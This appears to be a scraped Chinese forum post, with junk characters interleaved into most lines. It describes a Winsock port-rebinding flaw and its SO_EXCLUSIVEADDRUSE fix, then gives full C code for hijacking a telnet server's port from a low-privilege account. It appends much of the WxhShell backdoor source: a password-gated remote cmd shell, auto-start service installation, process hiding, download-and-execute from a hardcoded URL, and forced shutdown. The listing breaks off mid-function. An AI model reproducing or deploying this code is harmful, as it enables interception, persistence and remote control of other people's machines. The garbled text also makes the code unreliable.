在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
EdlTdn@A s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Pb1*\+ VFRi1\G saddr.sin_family = AF_INET;
"JlpU-8[0@ sE:M@`2L saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ujlY!-GM _H j!2 ' bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
QR%mj*@Wle 2w["aVr
= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Jtr"NS?a] 4)A#2 这意味着什么?意味着可以进行如下的攻击:
L3@82yPo! /J=v]<87a 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
RxI(:i? v^#~98g] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
j`~Ms> kQEy#JQmB 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
tasUZ#\6 B" !l2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
a-=8xs' ^; )8VP6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~GL]wF2# n ~shK<!C 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
-'t)=YJ "Y~:|?(@- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>'&p>Ad) cc~O&?)i #include
n=y[CKS #include
4\Tl\SZ? #include
P} 0%-JC #include
I'uSp-Sfy DWORD WINAPI ClientThread(LPVOID lpParam);
mt,OniU= Q int main()
0=AVW`J {
B56L1^7 WORD wVersionRequested;
!,6c ~ w DWORD ret;
{(r`k;fB WSADATA wsaData;
6)Y.7 XR BOOL val;
X]wRwG SOCKADDR_IN saddr;
;#vKi0V7 SOCKADDR_IN scaddr;
whi`Z:~ int err;
23Nw!6S SOCKET s;
\$*7 >`k SOCKET sc;
]x(e&fyHB int caddsize;
5N/%v&1 HANDLE mt;
D ,o}el DWORD tid;
^/\Of{OZ- wVersionRequested = MAKEWORD( 2, 2 );
PH+S};Uxv err = WSAStartup( wVersionRequested, &wsaData );
B{'( L| if ( err != 0 ) {
VJickXA printf("error!WSAStartup failed!\n");
{<R2UI5m5 return -1;
8,?h~prc }
'VzP}; saddr.sin_family = AF_INET;
q|!-0B@ *>n;SuT_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
{>DEsO qz0;p=$8Z saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;C3US)j saddr.sin_port = htons(23);
VGpWg rmHk if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O(D~_O. {
i}.&0Fp printf("error!socket failed!\n");
lT&eJO~?5 return -1;
{ g/0x,-Z }
/v-6WSN val = TRUE;
!4XOy B //SO_REUSEADDR选项就是可以实现端口重绑定的
}:us:% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}BZ"S-hZ {
KK iE@_z printf("error!setsockopt failed!\n");
n%-R[vW return -1;
BD_Iz A<wK }
mOy^vMa //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
DU5c=rxW //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ca7=V/i_a{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
k1{K*O$e wt!nMQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
lDYyqG4 {
VF?<{F ret=GetLastError();
[RLN;(0n printf("error!bind failed!\n");
ow_W%I=6 return -1;
{2=jAz'? }
;<Ar=? listen(s,2);
9x>d[-#y:J while(1)
{`LU+ {
Sjvdirr caddsize = sizeof(scaddr);
`$,GzS ( //接受连接请求
y9q8i(E0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[d(U38BI if(sc!=INVALID_SOCKET)
nbm&wa[ {
`6lr4Kk @R mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V^3L3|k if(mt==NULL)
r'^Hg/Jzt {
G,o6292hj printf("Thread Creat Failed!\n");
* w?N{. break;
kYG/@7f/ }
QPx_- }
gtk7)Uh CloseHandle(mt);
,z;cbsV-{ }
CE#gfP closesocket(s);
*=]&&< WSACleanup();
^(vs.U^U< return 0;
mRL"nC }
"D63I|O) DWORD WINAPI ClientThread(LPVOID lpParam)
B@&4i?yJ {
CG0
M SOCKET ss = (SOCKET)lpParam;
!W5 ( SOCKET sc;
NdMb)l)m unsigned char buf[4096];
nuk*.Su SOCKADDR_IN saddr;
NidIVbT.A long num;
v|uAzM{73 DWORD val;
`|{-+m DWORD ret;
oW ::hB //如果是隐藏端口应用的话,可以在此处加一些判断
s5CXwM6cx //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7
n8"/0kc: saddr.sin_family = AF_INET;
fI&t] saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
coW:DFX saddr.sin_port = htons(23);
&;^YBW :I if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}=< {
yE:+Lo`> printf("error!socket failed!\n");
;j[>9g return -1;
lR )67a }
.E`\MtA val = 100;
X:HacYqtC if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
T ]t'39 {
ZA0mz 65 ret = GetLastError();
hIy ~B[' return -1;
B"h#C!E }
63\/ *
NNB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7 HIeJ {
a1EOJ^}0 ret = GetLastError();
&"yx<&c} return -1;
t;W0"ci9 }
#|L8tuWW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+R3k-' > {
[pbo4e,4O printf("error!socket connect failed!\n");
RRmz"j> closesocket(sc);
B3We|oe ! closesocket(ss);
rDm~h~u5 return -1;
\k .{-nh }
b*a#<K$T_ while(1)
>_[9t {
yA)/Q
Yge //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
\pPY37l //如果是嗅探内容的话,可以再此处进行内容分析和记录
01wX `"I //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
aI P num = recv(ss,buf,4096,0);
EMY/~bQW if(num>0)
t|g4m[kr send(sc,buf,num,0);
f(/lLgI( else if(num==0)
%|auAq&w break;
fObg3S92 num = recv(sc,buf,4096,0);
aS{|uE] if(num>0)
l3Xfc2~ 2 send(ss,buf,num,0);
7%5z p|3 else if(num==0)
@$ne{2J3 break;
$ `ov4W }
Bmr>n6| closesocket(ss);
uGwm
r closesocket(sc);
.B7,j%1r return 0 ;
TrlZ9?3#D }
azCf ;&9)I8Us gH12[Us'` ==========================================================
ZInpMp '~5LY!H(pT 下边附上一个代码,,WXhSHELL
x-$&g*< VJeu8ZJ. ==========================================================
94h]~GqNi fz|cnU #include "stdafx.h"
dMh:ulIY> 3eb%OEMYk #include <stdio.h>
2L3)#22m* #include <string.h>
J?V? R #include <windows.h>
`` ,fodA8 #include <winsock2.h>
r(:5kC8K #include <winsvc.h>
zBCtd1Xrni #include <urlmon.h>
%'bM){ c/D+|X* #pragma comment (lib, "Ws2_32.lib")
nEJq_ #pragma comment (lib, "urlmon.lib")
L{X_^ qB5j;@r #define MAX_USER 100 // 最大客户端连接数
gqZ'$7So #define BUF_SOCK 200 // sock buffer
y&6FybIz #define KEY_BUFF 255 // 输入 buffer
F^WP <0C B^1>PE #define REBOOT 0 // 重启
(l\1n;s*B #define SHUTDOWN 1 // 关机
!\-{D$E?H {x|[p_? #define DEF_PORT 5000 // 监听端口
PY{
G [ m4**~xfC #define REG_LEN 16 // 注册表键长度
bp*
^z,w #define SVC_LEN 80 // NT服务名长度
\d6C%S! = I:.X ; // 从dll定义API
urbp#G/> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
i`(XLi}k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
-)w@f~Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
=m!-m\B/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Dt}JG6 S B-xGX$<z // wxhshell配置信息
p,
h9D_ struct WSCFG {
E%yNa]\P int ws_port; // 监听端口
%aHB"vi6 char ws_passstr[REG_LEN]; // 口令
2y//'3[ int ws_autoins; // 安装标记, 1=yes 0=no
6"wlg!k8 char ws_regname[REG_LEN]; // 注册表键名
/z4$gb7Y char ws_svcname[REG_LEN]; // 服务名
vq0Vq(V= char ws_svcdisp[SVC_LEN]; // 服务显示名
bn#"?6Z2 char ws_svcdesc[SVC_LEN]; // 服务描述信息
'H3^e} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|9u OUE int ws_downexe; // 下载执行标记, 1=yes 0=no
)P%ZA)l%_o char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
XeW<B0~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
]3x? \9cbI3rGz };
ERUz3mjA/ ]_Vx{oT7 // default Wxhshell configuration
hW%TM3l} struct WSCFG wscfg={DEF_PORT,
,`|3KE9 "xuhuanlingzhe",
i5en*)O8 1,
dz:E? "Wxhshell",
{Bk[rCl "Wxhshell",
P60~V"/P "WxhShell Service",
>W%EmnLK "Wrsky Windows CmdShell Service",
A}BVep@D "Please Input Your Password: ",
iIvc43YV% 1,
4-?C> "
http://www.wrsky.com/wxhshell.exe",
.~)q};Z "Wxhshell.exe"
O[\iE5+$ };
zvvhFN2s $ZUdT // 消息定义模块
"~#3&3HVS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
mi=Q{>rb char *msg_ws_prompt="\n\r? for help\n\r#>";
iNWw;_|1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Z 6t56"u char *msg_ws_ext="\n\rExit.";
"fQ~uzg=" char *msg_ws_end="\n\rQuit.";
Pnk5mK$ char *msg_ws_boot="\n\rReboot...";
yg`j-9[8 char *msg_ws_poff="\n\rShutdown...";
"An,Q82oHf char *msg_ws_down="\n\rSave to ";
z#zI1Am(O JUsQ,ETn char *msg_ws_err="\n\rErr!";
>NO[UX%yP char *msg_ws_ok="\n\rOK!";
D|lzGt spGb!Y`mR char ExeFile[MAX_PATH];
5 f@)z"j int nUser = 0;
&SIq2>Q A HANDLE handles[MAX_USER];
dV*]f$wQ int OsIsNt;
Gk.
ruQW" |!1Y*|Q%s SERVICE_STATUS serviceStatus;
8Ry3`ct SERVICE_STATUS_HANDLE hServiceStatusHandle;
&x=.$76 i)o2klIkB // 函数声明
7yG#Z)VE int Install(void);
J &o|QG int Uninstall(void);
cW~}:;D4 int DownloadFile(char *sURL, SOCKET wsh);
}'5MK int Boot(int flag);
%r<rcY void HideProc(void);
Z EXc%-M int GetOsVer(void);
/vY(o1o
x int Wxhshell(SOCKET wsl);
_- [''(E void TalkWithClient(void *cs);
o906/5M int CmdShell(SOCKET sock);
qPWP&k int StartFromService(void);
}HL]yDO int StartWxhshell(LPSTR lpCmdLine);
9"@\s$
OBk e2L0VXbb VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{i1|R"ta VOID WINAPI NTServiceHandler( DWORD fdwControl );
kj|6iG 8|b3j^u // 数据结构和表定义
2;[D;Y} SERVICE_TABLE_ENTRY DispatchTable[] =
Kc!}`Pm {
__lM7LFL {wscfg.ws_svcname, NTServiceMain},
,oORW/0iS {NULL, NULL}
H ;7(}:. };
=4vy@7/ heltgRt // 自我安装
gMv.V{vD int Install(void)
)}''L{k- {
wJg1Y0nh char svExeFile[MAX_PATH];
W$QcDp]#p} HKEY key;
>lmi@UN|k strcpy(svExeFile,ExeFile);
+ylTGSZS !5wIIS:FT // 如果是win9x系统,修改注册表设为自启动
'WMh8) if(!OsIsNt) {
yID164&r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E0BMv/r8b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jAGTD I RegCloseKey(key);
)r';lGh2# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"C?#SO
B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
062,L~&E RegCloseKey(key);
"MxnFeLM# return 0;
Okgv!Nt8)A }
kHkpx52 }
^le<} }
y6@0O%TDN else {
Q0$8j-1I
*aX F5S // 如果是NT以上系统,安装为系统服务
>@BnV{ d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,V'o4]H if (schSCManager!=0)
rjl`&POqc {
Y4%:7mw~= SC_HANDLE schService = CreateService
DDvh4<Hk (
sJ\BF schSCManager,
ke{8 ^X~# wscfg.ws_svcname,
7t3X)Ah wscfg.ws_svcdisp,
4)E_0.C SERVICE_ALL_ACCESS,
#w;v0&p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
9*$t!r{B@ SERVICE_AUTO_START,
+U:$(UV'A SERVICE_ERROR_NORMAL,
tWo{7) Eb svExeFile,
D,m]CK' NULL,
;1#H62Z* NULL,
Gk967pC NULL,
5Y?L>QU" NULL,
D>|H 2 NULL
E"\/M );
w^(<N7B3T if (schService!=0)
ml2_
]3j! {
=Xm@YVf&ZD CloseServiceHandle(schService);
(As#^q\>B CloseServiceHandle(schSCManager);
k[0-CB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
R|JC1f8P5 strcat(svExeFile,wscfg.ws_svcname);
`id9j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
nv ca."5 y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?m![Pg% RegCloseKey(key);
PxF<\pu& return 0;
2Fy>.*,? }
Wi>!{.}%A }
tv>>l% CloseServiceHandle(schSCManager);
CF&NFSti^ }
dL:-Y.?0M }
})uGRvz 9s_vL9u return 1;
:WQ^j!9' }
ODZ5IO}v 0,r}o // 自我卸载
tzZ63@cm int Uninstall(void)
PiY Y6i0 {
6\L0mcXR!
HKEY key;
k-Q%.o ot@|!V if(!OsIsNt) {
{-ZFp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
CPgC jtY RegDeleteValue(key,wscfg.ws_regname);
Yaj0;Lo[wt RegCloseKey(key);
"b?v?V0%C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e }mD]O} RegDeleteValue(key,wscfg.ws_regname);
K )[]fm RegCloseKey(key);
"ZHW2l Mf return 0;
|}23>l7 }
`(T,+T4C5k }
v. %R}Pa }
a5 *2h{i else {
Y;nZ=9Sw c?P?yIz6p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
:iFIQpk if (schSCManager!=0)
!
N|0x` {
^
K|;~}P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%R1 tJ( / if (schService!=0)
L}GC<D: {
H&F9J^rC if(DeleteService(schService)!=0) {
A01AlK_B CloseServiceHandle(schService);
Ny_lrfh) [ CloseServiceHandle(schSCManager);
Z:ni$7<. return 0;
8iW;y2qF }
-r#X~2tPzD CloseServiceHandle(schService);
whonDG4WP }
rxr{/8%f% CloseServiceHandle(schSCManager);
Q=BZ N]g2 }
5?p2%KQ }
Zkx[[gzL U ?'vXa return 1;
YRv&1!VLE }
HN_d{ 3 TqNadHQ // 从指定url下载文件
d\ %WgH int DownloadFile(char *sURL, SOCKET wsh)
&P.4(1sC {
wpN k+; HRESULT hr;
GGe,fb<k char seps[]= "/";
;?W|#*=R char *token;
D*Ik7Pe char *file;
?aC'.jH+ char myURL[MAX_PATH];
y[>;]R7' char myFILE[MAX_PATH];
f?oa" ng:kA%!
Q strcpy(myURL,sURL);
n$U#:aQE token=strtok(myURL,seps);
"~=mG--I while(token!=NULL)
IC6gU$e {
u583_k% file=token;
$k0kk token=strtok(NULL,seps);
pX/n)q[ }
|UP `B| @lCJ G!u GetCurrentDirectory(MAX_PATH,myFILE);
@)-sTgn strcat(myFILE, "\\");
!l_lo`) strcat(myFILE, file);
Ad:TYpLD send(wsh,myFILE,strlen(myFILE),0);
.P.z B}0= send(wsh,"...",3,0);
tyfTU5"x hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ygeDcnvR] if(hr==S_OK)
U`,0]"Qk return 0;
FW) x:2BG else
bfA=3S"0 return 1;
_FXZm50\g{ ]E_h }
76wc ,+ l_EM8pL,f // 系统电源模块
o HMo>*? int Boot(int flag)
qzI&<4 {
$KUos+% HANDLE hToken;
0ge$ p, TOKEN_PRIVILEGES tkp;
\=+b}mKV
m )foq),2 if(OsIsNt) {
hdnTXs@z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
i O/K nH LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
4Y,R-+f tkp.PrivilegeCount = 1;
_2k]3z? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
1^_U;O:I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
iv?gZg if(flag==REBOOT) {
4
SHU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Rop'e 8Q return 0;
ZIPl7tTw }
_
):d`O e else {
TlI<1/fP} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
lE!a return 0;
GM<BO8Y. }
@mE)|.f }
S;~g3DCd else {
ixW@7m if(flag==REBOOT) {
t|9 GS| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
%)[+%57{ return 0;
AtU v71D: }
(Fynok else {
QU%I43 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
YX=2jI return 0;
BBH0OiV= }
+j(d| L\ }
j=*l$RG p/JL9@:' return 1;
SrFS# }
?+g`HTY u S!Omy:=;i // win9x进程隐藏模块
nl(WJKq' void HideProc(void)
K+Z+wA? {
)uK{uYQl CM<]ZG7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#
altx=6' if ( hKernel != NULL )
YLwnhy>dD {
ME;n^y\8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
D?C)BcN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
aO@7O* FreeLibrary(hKernel);
tp6M=MC% }
eh4gQ^l 28/ ADZ return;
Zm"{V iv] }
%honO@$ q(zJ%Gv) // 获取操作系统版本
%VzKqh int GetOsVer(void)
oq4}3bQ {
fV v.@HL{ OSVERSIONINFO winfo;
-zp0S*iP7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?OE.O/~l GetVersionEx(&winfo);
d"5oD@JG: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Y4cYZS47 return 1;
;w6>"O$a else
|\n@3cIK return 0;
sf OHl }
<V7>?U l {NPuu?& // 客户端句柄模块
1G0fp:\w int Wxhshell(SOCKET wsl)
7]x3!AlV {
2RqbrY n SOCKET wsh;
Rw6;Z struct sockaddr_in client;
?gO8kPg/D DWORD myID;
za:a)U^n yC3yij<oR while(nUser<MAX_USER)
2:BF[c` {
9Ro6fjjE int nSize=sizeof(client);
\k]x;S<a wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
B!dU>0&Ct if(wsh==INVALID_SOCKET) return 1;
kloR#?8A R*oXmuOsYA handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
V7Z4T6j4 if(handles[nUser]==0)
o]ag"Q closesocket(wsh);
uGwJK`!~ else
[6)UhS8 nUser++;
b{d4xU8' }
n:0}utU4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
bn(`O1r[( JXixYwm return 0;
E,wVe[0)f }
nI/kw%< Dy]I8_ // 关闭 socket
>6~k9>nDb< void CloseIt(SOCKET wsh)
N7b1.]< {
:d0Y%vl closesocket(wsh);
/wxE1][. nUser--;
hY*0aZ|( ExitThread(0);
&n[~!%( }
i\4hR? osOVg0Gyj // 客户端请求句柄
+B'8|5tPX void TalkWithClient(void *cs)
Z<#hS=eY {
4<lQwV6= BaO1/zk SOCKET wsh=(SOCKET)cs;
Tzt ,/e char pwd[SVC_LEN];
zOHypazOTq char cmd[KEY_BUFF];
kWlAY% char chr[1];
/Y&02L%\3s int i,j;
p1D[YeF4 cO\- while (nUser < MAX_USER) {
t ?h kL $s4Wkq if(wscfg.ws_passstr) {
\eGKkSy if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@)>D))+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
uK("<u| //ZeroMemory(pwd,KEY_BUFF);
mv
atUe i=0;
ESg+n(R while(i<SVC_LEN) {
?f*Q>3S) 3IR
^ // 设置超时
>S1)YKgz fd_set FdRead;
'q>2t}KG struct timeval TimeOut;
`^(jm FD_ZERO(&FdRead);
`k;KBW FD_SET(wsh,&FdRead);
ZUp\Ep} TimeOut.tv_sec=8;
FG%j{_Ez TimeOut.tv_usec=0;
\dlph int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
z305{B:Y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<]Wlx`=/D _1*7Z=| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
w-b' LP pwd
=chr[0]; Vvt ;
if(chr[0]==0xd || chr[0]==0xa) { Kzb`$CGK
pwd=0; ?(
=p<TUw
break; x1gx$P
} 6*nAo8gl
i++; HPQ/~0$
} spQLG_o,J
G){g
// 如果是非法用户,关闭 socket h{}mBQl
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [pg}S#A
} '4OcZ/oI
#fs|BV
!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {%.Lk'#9
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IN7<@OS7
xU
S]P)R
while(1) { (X +s-4%
?/M_~e.P
ZeroMemory(cmd,KEY_BUFF); m7=1%6FN3
>p])it[q&$
// 自动支持客户端 telnet标准 B|%tE{F
j=0; z *9FlV
while(j<KEY_BUFF) { DjCx~@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .mL#6P!d3^
cmd[j]=chr[0]; U@Tj B
if(chr[0]==0xa || chr[0]==0xd) { I\Glc=T*
cmd[j]=0; ?0<w
break; 8BXqZVm.
} ogeL[7
j++; h?UVDzI!O
} a
:HNg
V5D2\n3A
// 下载文件 wP"q<W
g
if(strstr(cmd,"http://")) { K{cbn1\,H
send(wsh,msg_ws_down,strlen(msg_ws_down),0); cPn+<M#
if(DownloadFile(cmd,wsh)) ,>LRa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u-DK_^v4M
else t~M
$%)h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zt@Z=r:&
} Gzt=u"FV
else { ;\y;
b!$ }ma;B
switch(cmd[0]) { kw,$NK'
/.V0ag'G
// 帮助 #\4 b:dv
case '?': { Qu%D
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Di Or{)a
break; 6'OO-o
} XidxNPz0^
// 安装 {hqAnZ@]vr
case 'i': { :Gh~fm3}
if(Install()) ad n|N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \&}G]
else jN/C'\QL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nm]%
}
break; uD>z@J-v
} Az,-
Cq
// 卸载 .tF|YP==
case 'r': { {<w
+3Va
if(Uninstall()) BH@b1}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UP2.]B!d
else */ OI*{Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %85Icg
break; W7UtA.2LT
}
FA>1x*;c
// 显示 wxhshell 所在路径 6J%iZ
case 'p': { en9en=n|
char svExeFile[MAX_PATH]; _$/
+D:K
strcpy(svExeFile,"\n\r"); IS]{}Y\3H
strcat(svExeFile,ExeFile); gbOCR1PBg
send(wsh,svExeFile,strlen(svExeFile),0); \gccQig1CJ
break; }fIqH4bp
} ;vO@m!h}U
// 重启 6~5$s1Yc
case 'b': { ARL
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :kw0y
if(Boot(REBOOT)) O|v
(58A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A%ywj'|z
else { *,#q'!Hq
closesocket(wsh); I ftxSaP
ExitThread(0); +T_ p8W+j
} "dN< i
break; !Qu PG/=X
} `?o=*OS7Y
// 关机 H`<?<ak6'M
case 'd': { sm s1%%~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8?jxDW
a
if(Boot(SHUTDOWN)) bY#;E;'7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _|n=cC4Qu
else { U6WG?$x
closesocket(wsh); rS~qi}4X
ExitThread(0); vC9@,[
} Q5E:|)G
break;
<jd/t19DB
} qj?2%mK`
// 获取shell Sa]Ek*
case 's': { V
4qtaHf
CmdShell(wsh); 5RA<Z.
closesocket(wsh); o+)A'S
ExitThread(0); /)1v9<vM"
break; ]XrE
} 6$B'Q30}r
// 退出 LZ&uj{ <
case 'x': { b!~TAT&8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
*q"G }
CloseIt(wsh); -qn[HXq
break; ~%aJFs
} H2\1gNL
// 离开 c2b6B.4
case 'q': { _:,.yRez
send(wsh,msg_ws_end,strlen(msg_ws_end),0); w yD%x(
closesocket(wsh); I#l;~a<9z
WSACleanup(); >_#)3K1y8
exit(1); g.*&BXZi
break; {a4xF2
} Pe,;MP\2
} #1l7FT?q
} 5 LMj!)3
!V(`ZH
// 提示信息 oYq,u@oM
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sQ(1/"gb
} lS{4dvr?w
} lV7IHX1P
]IXAucI]
return; S1C^+Sla]
} 0}-#b7eR
RdkU2Y}V
// shell模块句柄 B007x{-L
int CmdShell(SOCKET sock) B/u*<k4
{ T+W3_xIS X
STARTUPINFO si; 8on[%Vk
ZeroMemory(&si,sizeof(si)); JTkCk~bX[z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {F)E\)$G
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^fZGX<fH
PROCESS_INFORMATION ProcessInfo; D5[VK`4Z
char cmdline[]="cmd"; n` #+L~X
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z\h,SX<U
return 0; W%zmD Hk~
} qj;l,Kua
{3SdX
// 自身启动模式 {fElto
int StartFromService(void) )v-Cj_W5]"
{ x#o?>5Qg?
typedef struct ;E2~L
{ (.oaMA"B
DWORD ExitStatus; T:)% P6/
DWORD PebBaseAddress; ._K$0U!
DWORD AffinityMask; hwZ6.
DWORD BasePriority; 5^o3y.J?P
ULONG UniqueProcessId; )ys=+Pz
